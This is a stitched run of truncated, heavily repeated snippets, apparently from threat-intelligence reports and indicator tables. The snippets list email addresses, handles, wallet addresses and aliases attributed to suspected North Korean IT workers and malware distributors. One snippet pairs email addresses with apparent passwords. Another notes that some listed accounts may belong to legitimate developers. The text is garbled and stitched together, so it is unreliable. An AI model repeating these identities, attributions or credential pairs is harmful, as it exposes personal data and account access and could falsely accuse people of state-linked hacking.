s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray69…","…gmail.com ryan.service.1001@gmail.com ryancharles0429@gmail.com ryancharley429@gmail.com s.d19941130@gmail.com s.h.are.ha.ppy0126@skiff.com s.ha.re.ha.ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443…","…mail.com ryancharles0429@gmail.com ryancharley429@gmail.com s.d19941130@gmail.com s.h.are.ha.ppy0126@skiff.com s.ha.re.ha.ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gm…","…il.com ryancharley429@gmail.com s.d19941130@gmail.com s.h.are.ha.ppy0126@skiff.com s.ha.re.ha.ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gma…","…l.com s.d19941130@gmail.com s.h.are.ha.ppy0126@skiff.com s.ha.re.ha.ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outl…","…ri@gmail.com veerapandianvijai@gmail.com akijohansson116@gmail.com paulmillet0803@gmail.com henryan373@gmail.com wulong.sky@gmail.com saburo.snow@gmail.com stanleyc.sky@gmail.com longx695@gmail.com dragonfighter0120@gmail.com garciav.dev@gmail.com m.in.space45@gmail.com derek.otieno.2020@…","…unjin22@gmail.com guangheli211@gmail.com wilsondovi21@gmail.com asemenovboyarka@gmail.com alex@bellsstudio.site freeserviceexpert@gmail.com sadah12290@gmail.com leoxtechdev@gmail.com goldenharvestmidas@gmail.com Sites: marogus211.wixsite.com youtube.com/@liberathachannel linkedin.com/in/lian-hung-1…","…ook.com makdanger3434@outlook.com maksim1029lv@outlook.com maksimbrave1030@gmail.com maksimbrave1030@outlook.com romancondo1278@outlook.com safranov512@yahoo.com slavomir829@hotmail.com slavomir829612@hotmail.com slavomir829612@outlook.com talenteddeveloper098@gmail.com hrachya1995dev@gmail.com hrach…","…2026-09-10 tailwindcss-contact-forms (0.5.5) 2026-09-10 blakeotter2113 <sagowa3816@hebase.com> 2026-09-10 tailwindcss-contact-forms (0.5.4) 2026-09-10 blakeotter2113 <sagowa3816@hebase.com> h.drpc.org e.com…","…{\"id\":\"8df127efb35e93f4\",\"type\":\"text\",\"text\":\"sakelejames@gmail.com\",\"x\":3480,\"y\":-2260,\"width\":266,\"height\":51,\"color\":\"4\"}, {\"id\":\"ec033839d70ce3c3\",\"type\":\"text\",\"text\":\"Linked to numerous other targets…","…com s.h.are.ha.ppy0126@skiff.com s.ha.re.ha.ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmai…","…skiff.com s.ha.re.ha.ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gm…","…ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.co…","…ail.com yemelyan.yevdokimov.domain1121@gmail.com qiqq-ps@eclipso.eu illia.butenko89@gmail.com ddksniper@gmail.com intellichain555@gmail.com salbu15154@gmail.com goldsea808@gmail.com goldsea808@yahoo.com alexstepan0209@gmail.com jamesybarra114@gmail.com mrsteevtvw418@gmail.com toptalent48@gmail.com i…","…- Emails: intellichain555@gmail.com chainerspace@gmail.com fullasher@gmail.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites: github.com/intellichain555 Bells Inter…","…n555@gmail.com chainerspace@gmail.com fullasher@gmail.com cyberos999@gmail.com odincui@gmail.com sunnykan314@gmail.com salbu15154@gmail.com salbuvabybit@hotmail.com mykytadunaiev@outlook.com moktamd3@gmail.com Sites: github.com/intellichain555 Bells Inter…","…Akimoto Akira - Richard Steward - Richard Stewart - Superpol@irs - 104654833+sallamy2580@users.noreply.github.com: - sallamy2580 - sallamy2580@gmail.com - https://github.com/sallamy2580 - ![](./sallamy2580.jpeg) - ![](./sallamy2580-2.png) --- ## Face Pix #### 139.5.157.128 and…","…Year in Review rickcarr1014@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review sallydunnet.business1016@gmail.com email malware N/A October 2025 DPRK malware distributor GitLab.com account Year in Review dr.md.hubert.business916@gmail.com email…","…in the “crypto_brazil” and “cryptolux_br” channels. On October 2, 2024, Dale_V posted the same message with a new email address, sam@agencyhill99.com , in the “fortifiedx_chat”, “family_indonesia_uae_ph”, “cryptolux_br”, and “freelancerclients” channels. On October 3, 2024, a user in…","…May 2026 oliviaben@hr.pulsynk.org Email address Attacker-controlled email address May 2026 sam@hr.pulsynk.org Email address Attacker-controlled email address May 2026 samalt@hr.contacttrixauvex.ink Email…","…May 2026 sam@hr.pulsynk.org Email address Attacker-controlled email address May 2026 samalt@hr.contacttrixauvex.ink Email address Attacker-controlled email address May 2026 samalt@hr.onoplanoai.ink Email address…","…samalt@hr.contacttrixauvex.ink Email address Attacker-controlled email address May 2026 samalt@hr.onoplanoai.ink Email address Attacker-controlled email address May 2026 samalt@hr.predicttocareer.space Email…","…May 2026 samalt@hr.onoplanoai.ink Email address Attacker-controlled email address May 2026 samalt@hr.predicttocareer.space Email address Attacker-controlled email address May 2026 shelbysturm@hr.mailtrixauvex.ink Email…","…2026-08-11 txs-runner-sdk (1.0.1) 2026-08-11 idipharma_official_works <samantha.taylor8882@outlook.com> f84aaff9b32339960fc43a9e3a4ea3fb277a7e50266bfbf5649d86a7a447894c 2026-08-10 vexium-kit (2.0.2) 2026-08-10 leonardo0707…","…Year in Review scottdavis8188@gmail.com email malware N/A May 2025 DPRK malware distributor GitLab.com account Year in Review samjannt1211@gmail.com email malware N/A April 2025 DPRK malware distributor GitLab.com account Year in Review ahmed03010229@gmail.com email malware N/A April…","…Year in Review hudsonramsey107@outlook.com email malware N/A June 2025 DPRK malware distributor GitLab.com account Year in Review samjanntapia@gmail.com email malware N/A June 2025 DPRK malware distributor GitLab.com account Year in Review dyup58725@gmail.com email malware N/A June 2025…","…souzaporto800@gmail.com dmytroputko@gmail.com drgru854@gmail.com ahmadbahai07@gmail.com stefanofrick2@gmail.com samuelhuggins3@gmail.com jgod19960520@outlook.com filip.porter9017@outlook.com r29728098@gmail.com vitalii214.ilnytskyi@gmail.com…","…ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com sea…","…Sanit - IQ (2021), GuardRails, Luxcore, ThorChain, Vitae Token - Devstar - 0xdbkey - 0xskydb - ssdbkey - 0xy0k - sarawut - sanit.sa@outlook.com - dbkey.one1@gmail.com - 0x8218D63A1b22077C264Ef481E15c6483eA204649 - 0x4C83150FD1fbfa031F3cD8C416F57409DE98372F -…","…appy0126@skiff.com sablockchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com…","…$30/hour, 40 hours/week - pedro.dev.033@gmail.com PedroGomez Argentina United States $30/hour, 40 hours/week - santiagoworld15@gmail.com SantiagoSilva Argentina United States $35/hour, 40 hours/week - 110 The following table and photos contain…","…0x50d6b6cf0066a0d3ebf321493da2e77cc40ddd8c - ![](./X_2025-11-22_blue32captain.png) ### Santokh Veenasenan - 2022 - santokh.veenasenan@gmail.com - Malaysia - t.me/saveen_master - t.me/whatis12354 - github.com/savvy-bit - 0x17087F92D16049E9097413B4964663B754C1E43d ### Nicolas…","…insider N/A N/A Git mirror developer identity 2 mohamed_dhifli@hotmail.com email insider N/A N/A Git mirror developer identity 2 saputranady@gmail.com email insider N/A N/A Git mirror developer identity 2 ryannguyen0303@gmail.com email insider N/A N/A Git mirror developer identity 2…","…$35/hour, 40 hours/week - Choe Ju Hyon dangloi@gmail.com LoiDang Vietnam United States $35/hour, 40 hours/week - saraadel414@gmail.com SaraAdel Egypt United States $30/hour, 40 hours/week - 108 Ju Kwang Song - Jin Tian - United States…","…kchain0@gmail.com sakura460691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.…","…2026 oladotuna@ondofinance.tech Email address Attacker-controlled email address April 2026 sarikasinha@nxlog.tech Email address Attacker-controlled email address April 2026 sladjanas@nxlog.tech Email address…","…email insider N/A N/A Synthetic persona email 2 blazhejovanovska@gmail.com email insider N/A N/A Synthetic persona email 2 sarloevtim39@gmail.com email insider N/A N/A Synthetic persona email 2 antonisharalampopoulos@outlook.com email insider N/A N/A Synthetic persona email 2…","…ryon_dev_3@outlook.com ryon_dev_4@outlook.com ryon_dev_5@outlook.com ryon_dev_6@outlook.com ryonteam@outlook.com sasakidev581@gmail.com satriapkp91@hotmail.com seed1996009@outlook.com serenquasarmzfjn49235@hotmail.com sergio1997121400@gmail.com…","…special.galaxy26@gmail.com - potter0525james@gmail.com - zoelasa1111@gmail.com - it.galaxy.0315@gmail.com - sasuke031026@gmail.com - f99964995@gmail.com - github.com/newstable - github.com/webgalaxy315 - github.com/nova-blockchain - github.com/jayceetran -…","…----- Emails: jayceetran.cool@gmail.com special.galaxy26@gmail.com potter0525james@gmail.com zoelasa1111@gmail.com it.galaxy.0315@gmail.com sasuke031026@gmail.com f99964995@gmail.com Github: https://github.com/newstable https://github.com/webgalaxy315 https://github.com/nova-blockchain https://github…","…60691@gmail.com sakuray694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.co…","…94722@gmail.com rabbitking0130@gmail.com bengrantsoft@gmail.com sotaro.yoshimoto@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyarosl…","…@gmail.com proguardseo@gmail.com justin424w@gmail.com satoshi.fukuzumi309@gmail.com martinjosipovic17@gmail.com venturewell@gmail.com satoshi.fukuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gm…","…(TP) phoenixfire471@gmail.com (MM) awesomium430@gmail.com (AU) maestro2819@gmail.com (SI) rodriguezjamesdaniel0807@gmail.com (SI) satoshiyama14@gmail.com (ST) richardkdavis45@gmail.com (AC) thedron101@gmail.com (CT) fairdev610@gmail.com @ trevorgreer9312@gmail.com (JA) The Trevor…","…ryon_dev_4@outlook.com ryon_dev_5@outlook.com ryon_dev_6@outlook.com ryonteam@outlook.com sasakidev581@gmail.com satriapkp91@hotmail.com seed1996009@outlook.com serenquasarmzfjn49235@hotmail.com sergio1997121400@gmail.com sean_tech208@hotmail.com…","…kuzumi47@gmail.com blocklimax@gmail.com dcnc336@gmail.com myronenkoyaroslav4@gmail.com avoroy@biztechadvisors.com katelevsk@gmail.com savonik.alina00@gmail.com purplestrawberrymilk@gmail.com yellowstrawberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.g…","…oleksandrkazadaiev522@gmail.com hera19970204@outlook.com zeus19970204@outlook.com imanwdr30@hotmail.com scarlet112603@outlook.com garnerbrandy1230@gmail.com alexandercruciata11@gmail.com danxeth436@gmail.com jennyjenkins783@gmail.com…","…ay694@gmail.com salamakharoman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@…","…추가한 검증 체인 cv=none->첫 번째 ARC 단계라 특별한 문제 없음 해당 메일은 발신자 위조(spoofing)가 아니라 실제로 Mail.ru 인프라를 통해 발송된 것 라우팅 및 전송 과정 Return-Path / Envelope From:schimmel2025@list.ru 피싱 메일 이메일 헤더 발송 서버:send174.i.mail.ru->95.163.59.13 암호화: TLSv1.3 AES_256_GCM_SHA384->네이버와 통신 시 전송 암호화 정상 작동 시간대 확인: Naver 수신:…","…haroman443@gmail.com sandrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@…","…hours/week - Hwang Jong Hyok sorza.jimmy05@gmail.com jimmy Colombia United States $40/hour, 40 hours/week 1-2 years scorradini640@gmail.com sebastian Argentina United States $30/hour, 30 hours/week 1-2 years adolfo.garcia0513@gmail.com Adolfo Mexico United…","…muhammadhamid4760@gmail.com[email protected] scott.brown0629@gmail.com[email protected] scott.brown00629@gmail.com[email protected] guzmandelfino1992@gmail.com[email protected] codelover111@gmail.com[email protected]…","…ckkarlsson1025@gmail.com adambinharun1010@gmail.com minamotohitoshi912@gmail.com muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggiusman@gmail.com boava94722@gm…","…minamotohitoshi912@gmail.com[email protected] muhammadhamid4760@gmail.com[email protected] scott.brown0629@gmail.com[email protected] scott.brown00629@gmail.com[email protected] guzmandelfino1992@gmail.com[email protected]…","…Scott Brown & Co #### Scott Brown - aka Kyle Larsen, Sean Day - breavedev - nevermindhim - verytinydever - scott.brown0629 - scott.brown0629@gmail.com - what.a.fabulous1@gmail.com - sct.brown0629@gmail.com - github.com/breavedev - github.com/nevermindhim - github.com/verytinydever -…","…yspalliero408@gmail.com jackkarlsson1025@gmail.com adambinharun1010@gmail.com minamotohitoshi912@gmail.com muhammadhamid4760@gmail.com scott.brown0629@gmail.com scott.brown00629@gmail.com guzmandelfino1992@gmail.com codelover111@gmail.com alexnikolaos007@gmail.com botofprince@gmail.com jaggius…","…Year in Review davidfernandez420@outlook.com email malware N/A May 2025 DPRK malware distributor GitLab.com account Year in Review scottdavis8188@gmail.com email malware N/A May 2025 DPRK malware distributor GitLab.com account Year in Review samjannt1211@gmail.com email malware N/A April…","…Sean Day - breavedev - nevermindhim - verytinydever - scott.brown0629 - scott.brown0629@gmail.com - what.a.fabulous1@gmail.com - sct.brown0629@gmail.com - github.com/breavedev - github.com/nevermindhim - github.com/verytinydever - linkedin.com/in/scott-brown-b947ba29a -…","…ov.rr@gmail.com rosynin@skiff.com russiadesign2019@gmail.com ryan.service.1001@gmail.com ryancharles0429@gmail.com ryancharley429@gmail.com s.d19941130@gmail.com s.h.are.ha.ppy0126@skiff.com s.ha.re.ha.ppy0126@skiff.com s.hare.ha.ppy0126@skiff.com s.harehappy0126@skiff.com sablockchain0@gmail.com sak…","…com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@g…","…sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail…","…rooflinerealtor00821@gmail.com rootedlandagents77219@gmail.com royalestateconnect43449@gmail.com seasidehomesrealtor29486@gmail.com seasideviewrealtor08465@gmail.com seattlecityrealtor42890@gmail.com silvercityproperty05525@gmail.com…","…rootedlandagents77219@gmail.com royalestateconnect43449@gmail.com seasidehomesrealtor29486@gmail.com seasideviewrealtor08465@gmail.com seattlecityrealtor42890@gmail.com silvercityproperty05525@gmail.com silverlineproperty64209@gmail.com…","…oki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@g…","…royalestateconnect43449@gmail.com seasidehomesrealtor29486@gmail.com seasideviewrealtor08465@gmail.com seattlecityrealtor42890@gmail.com silvercityproperty05525@gmail.com silverlineproperty64209@gmail.com skylinehomeadvisor14961@gmail.com…","…sunsui2023@outlook.com kopytina111@outlook.com Akira.Ito0116@outlook.com Eddan_jiang@outlook.com elmakha224ar@outlook.com sebastian.93.e@hotmail.com nicolas.ju915@gmail.com sobaka1525@outlook.com Vanesapaula81@outlook.com joaopebasso12@outlook.fr…","…photo * DEV Community: https://dev.to/sebastian_robinson_64 * Contains photo of the actor * Photo matches portfolio photo * Email: sebastian.robinson.info@gmail.com ----------------- ### Ichikawa Hiroshi * GitHub: https://github.com/0xichikawa * DEV Community: https://dev.to/ichikawa0822 * Daily Dev:…","…chaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com…","…sharing few samples:- EMAIL ADDRESSES PASSWORD akileus010902@gmail.com !@#123QWEqwe ait.oubella.marouane@gmail.com qwery123 secretagent1025@gmail.com 1QAZxsw balsinyar@gmail.com 11111111, Xiah audreybass140@gmail.com P@ssw0rd chainerspace@gmail.com qwe123QWE!@#…","…er@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.co…","…ryon_dev_5@outlook.com ryon_dev_6@outlook.com ryonteam@outlook.com sasakidev581@gmail.com satriapkp91@hotmail.com seed1996009@outlook.com serenquasarmzfjn49235@hotmail.com sergio1997121400@gmail.com sean_tech208@hotmail.com shubertlarvp286287@hotmail.com…","…Year in Review migueljose81234@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review seed1996010@outlook.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review blackwang104@gmail.com email malware N/A…","…Year in Review vovalishcn77@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review seed1996015@outlook.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review suryaedg88@hotmail.com email malware N/A…","…in Review ivicastojadin488@gmail.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review seed1996017@outlook.com email malware N/A September 2025 DPRK malware distributor GitLab.com account Year in Review bryandev0418@gmail.com email malware N/A…","…andrychuk1000@gmail.com santabaner1223@gmail.com sargsyanarek@outlook.com satoki0212@gmail.com schaeferg742@gmail.com scoderacker@gmail.com se.hw.son@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1…","…luis.gamez1004@gmail.com[email protected] cliff.luo226@gmail.com[email protected] semochkomaksym@gmail.com[email protected] sun.james1025@gmail.com[email protected] coolguy.arber09@gmail.com[email protected]…","…wberrymilk@gmail.com bluestrawberrymilk1025@gmail.com pinkstrawberrymilk1025@gmail.com luis.gamez1004@gmail.com cliff.luo226@gmail.com semochkomaksym@gmail.com sun.james1025@gmail.com coolguy.arber09@gmail.com arber.berisha995@gmail.com arber.berisha009@gmail.com millionsapphire@outlook.com d…","…@gmail.com seagulls.christian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com…","…stian@gmail.com seagulls.lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gm…","….lucky125@gmail.com seasoned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1…","…Paul Song / grudev325 - Pixelcraft (2022), Munchables (2024) - grudev325 - sr.paul.song@gmail.com - seniordev1225@gmail.com - t.me/grudev325 - seniordev - remoteok.com/@seniordev - linkedin.com/in/paul-song-225505224/ - paul-song-cv.herokuapp.com #### Paul…","…oned@skiff.com sebastiantarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpyt…","…ntarasiuk212@gmail.com secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@s…","Transcribed by hand from the screenshot published in the cited post, read at full resolution rather than from a thumbnail. The post names this account as a follower of Oleksii9999. The screenshot shows the profile headline \"Senior Mobile app | Web | API Developer\" over the handle kstar0102, an affiliation of ICT Solutions, 112 repositories and 24 followers against 26 following. The same screenshot lists further accounts alongside Oleksii9999, but the post does not attribute those individually and at least one of them belongs to a well known legitimate developer, so none of them are recorded here. The address seniordev52@gmail.com is the dominant author on the commits in this account's own GitHub repositories, recovered 2026-09-12; it is the operator's own commit address, not a forked repo's upstream author.","…secretsudev@gmail.com seniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994…","…eniordev1004@gmail.com seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.…","…Here's a small sample: masterdev1027@gmail.com fulldev317@gmail.com codeknight0707@gmail.com seniordev9726@outlook.com dreamcomes0704@gmail.com topdev1228@protonmail.com helios0912@outlook.com smartfox1203@gmail.com \"star\", \"dev\", \"pro\", \"senior\", and…","…slark0704 - smartfox1203 - topdev1228 - toshyodev - Zhang-777 - smartfox1203@gmail.com - codeknight0707@gmail.com - seniordev9726@outlook.com - anydev1103@gmail.com - fulldev114@outlook.com - boriszhang1021@gmail.com - topdev1228@protonmail.com -…","…seniordev1005@gmail.com seniordev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.p…","…ev1008@gmail.com seniordev279@gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy01…","…gmail.com seniordev422@gmail.com seniordev715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com…","…Year in Review tracykevin5590@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review seniorsky92@gmail.com email malware N/A July 2025 DPRK malware distributor GitLab.com account Year in Review meftaht531@gmail.com email malware N/A July 2025…","…• [Archive](https://archive.ph/KMoXG) - github.com/defi-wonderland/prophet-core/pull/2 - astermiracle1009@gmail.com - SenWebDev1009@gmail.com - 0xef2a0324cfaa0100db9def8ef31c6e23bc4f9258 - ![](./astermirac1e.png) #### Leon - Leon Lowden (0xl2) - 2024, [Zach's…","…Naoki Murano - github.com/supermutexc - naokimurano@outlook.com #### Seo Sigoto - github.com/seosigoto - seo.shigoto.001@gmail.com - seo.sigoto@gmail.com #### Seo Kiwon - sunshineseo0614@gmail.com #### Steven Chen - stevechendragon@gmail.com -…","…JohnMichaelMillen0325@outlook.com never08mind25@gmail.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com densyaou@gmail.com zombie.eye.dev@gmail.com stevechendragon@gmail.com stevechendragon@out…","…Naoki Murano - github.com/supermutexc - naokimurano@outlook.com #### Seo Sigoto - github.com/seosigoto - seo.shigoto.001@gmail.com - seo.sigoto@gmail.com #### Seo Kiwon - sunshineseo0614@gmail.com #### Steven Chen - stevechendragon@gmail.com - stevechendragon@outlook.com #### Ivan…","…JohnMichaelMillen0325@outlook.com[email protected] never08mind25@gmail.com[email protected] seo.sigoto@gmail.com[email protected] sunmoonstar0319@outlook.com[email protected] blockchaindeveloper777@gmail.com[email protected]…","…at chollima_group@proton.me Emails: johnmichael0325@outlook.com JohnMichaelMillen0325@outlook.com never08mind25@gmail.com seo.sigoto@gmail.com sunmoonstar0319@outlook.com blockchaindeveloper777@gmail.com seo.shigoto.001@gmail.com ivan.dimov.work@gmail.com kazune.takeda@yahoo.com de…","…(used to authenticate to Gate.com during active drain sessions in February 2026), techwithfiazofficial@gmail.com , taunsavi8@gmail.com , ser583722@gmail.com , and freelancer1235khan@gmail.com .…","…ryon_dev_6@outlook.com ryonteam@outlook.com sasakidev581@gmail.com satriapkp91@hotmail.com seed1996009@outlook.com serenquasarmzfjn49235@hotmail.com sergio1997121400@gmail.com sean_tech208@hotmail.com shubertlarvp286287@hotmail.com slobodanprluv@gmail.com…","…sasakidev581@gmail.com satriapkp91@hotmail.com seed1996009@outlook.com serenquasarmzfjn49235@hotmail.com sergio1997121400@gmail.com sean_tech208@hotmail.com shubertlarvp286287@hotmail.com slobodanprluv@gmail.com smartinezquitian20@gmail.com…","…v715@gmail.com seniordev731@gmail.com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah160…","…although it hasn't been active in three weeks. GitHub Users: - megaorg42 - nikkhielseath - yosket Emails Associated: - nikkhielseath <sethnikhil74@gmail.com> - yosket <yosket87@gmail.com> Domains: - vscode-load-config.vercel.app ## Variant eight - September 9, 2025 - Unique Identifier:…","…repository reslalinssmok@gmail.com Commits to malicious repository rodrigogrande1@hotmail.com Commits to malicious repository sethnikhil74@gmail.com Commits to malicious repository shrisrivastava2@gmail.com Commits to malicious repository smartpayauthor@gmail.com Commits to…","…Husreo\",\"x\":6295,\"y\":-2160,\"width\":250,\"height\":60}, {\"id\":\"d201781cb8806564\",\"type\":\"text\",\"text\":\"setodev1994@gmail.com\",\"x\":5860,\"y\":-620,\"width\":250,\"height\":60,\"color\":\"4\"},…","…com seniordeveloper00001@gmail.com seniordeveloper1019@gmail.com seniorpythondeveloper123456789@skiff.com seriousman1994217winter@gmail.com sg.pythondev@gmail.com sh.are.ha.ppy0126@skiff.com sh.arehappy0126@skiff.com sha.re.ha.ppy0126@skiff.com shadowmaster0419@gmail.com shah16016614@gmail.com 